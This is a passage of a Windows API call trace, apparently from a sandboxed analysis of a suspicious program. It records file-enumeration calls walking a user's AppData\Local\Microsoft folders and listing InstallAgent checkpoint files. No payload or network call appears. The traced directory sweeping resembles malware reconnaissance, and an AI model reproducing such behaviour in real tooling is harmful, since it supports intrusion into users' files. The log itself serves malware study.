hFindFile=0x135f490, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.199] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.199] FindClose (in: hFindFile=0x135f490 | out: hFindFile=0x135f490) returned 1 [0179.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.200] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x4d [0179.200] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.200] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.200] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.200] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.200] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent", lpFilePart=0x0) returned 0x34 [0179.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.200] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent", lpFilePart=0x0) returned 0x34 [0179.200] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.201] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.201] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 1 [0179.201] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 0 [0179.201] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.201] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent", lpFilePart=0x0) returned 0x34 [0179.201] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.201] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.201] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 1 [0179.201] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.202] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.202] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", lpFilePart=0x0) returned 0x40 [0179.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.202] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", lpFilePart=0x0) returned 0x40 [0179.202] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xc64f4fe4, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.207] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xc64f4fe4, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.209] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5a3a7fb, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5a3a7fb, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5a3a7fb, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGGXW3P8.dat", cAlternateFileName="9NBLGG~2.DAT")) returned 1 [0179.209] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cc3073, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5cc3073, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5cc3073, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH10PG8.dat", cAlternateFileName="9N76AF~1.DAT")) returned 1 [0179.209] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc59ee40d, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc59ee40d, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc59ee40d, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH32PT4.dat", cAlternateFileName="9NBLGG~1.DAT")) returned 1 [0179.209] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c76b59, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5c76b59, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5c76b59, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH42THS.dat", cAlternateFileName="9NBLGG~4.DAT")) returned 1 [0179.209] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5dce18d, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5dce18d, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5dce18d, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4NNS1.dat", cAlternateFileName="9N20D4~1.DAT")) returned 1 [0179.209] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc64f4fe4, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc64f4fe4, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc64f4fe4, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4QGHW.dat", cAlternateFileName="9N1C6C~1.DAT")) returned 1 [0179.209] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6187abe, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc6187abe, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc6187abe, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4R32N.dat", cAlternateFileName="9NBDA7~1.DAT")) returned 1 [0179.209] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62204d7, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc62204d7, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc62204d7, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH537C2.dat", cAlternateFileName="9N71A2~1.DAT")) returned 1 [0179.209] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bb8074, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5bb8074, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5bb8074, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH5FV99.dat", cAlternateFileName="9NBLGG~3.DAT")) returned 1 [0179.209] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5f71b0e, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5f71b0e, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5f71b0e, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH5PNB1.dat", cAlternateFileName="9N41FC~1.DAT")) returned 1 [0179.209] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5a86d3d, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5a86d3d, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5a86d3d, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9P086NHDNB9W.dat", cAlternateFileName="9P086N~1.DAT")) returned 1 [0179.209] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e40735, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5e40735, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5e40735, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRD1HKW.dat", cAlternateFileName="9W5A8D~1.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc626c900, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc626c900, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc626c900, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRD29V9.dat", cAlternateFileName="9W6A1D~1.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c50958, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5c50958, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5c50958, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRD2G0J.dat", cAlternateFileName="9W7C8F~1.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e6697e, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5e6697e, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5e6697e, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRDTBJJ.dat", cAlternateFileName="9W346D~1.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d0f4c6, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5d0f4c6, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5d0f4c6, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRDTBVB.dat", cAlternateFileName="9WA7C0~1.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ad31ff, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5ad31ff, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5ad31ff, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRDTBWP.dat", cAlternateFileName="9WZDNC~2.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc61d3f9e, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc61d3f9e, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc61d3f9e, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHV4V.dat", cAlternateFileName="9WEE31~1.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6377949, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc6377949, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc6377949, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVFW.dat", cAlternateFileName="9WB9D7~1.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc613b4fd, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc613b4fd, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc613b4fd, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVH4.dat", cAlternateFileName="9W15AF~1.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63c3cdd, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc63c3cdd, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc63c3cdd, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVJL.dat", cAlternateFileName="9W71BA~1.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc607cae3, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc607cae3, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc607cae3, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVN5.dat", cAlternateFileName="9W36B6~1.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc60c8fa1, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc60c8fa1, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc60c8fa1, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVQM.dat", cAlternateFileName="9WF232~1.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc64a8b32, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc64a8b32, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc64a8b32, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHWD2.dat", cAlternateFileName="9W2E3D~1.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc60305df, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc60305df, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc60305df, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHWKN.dat", cAlternateFileName="9W26ED~1.DAT")) 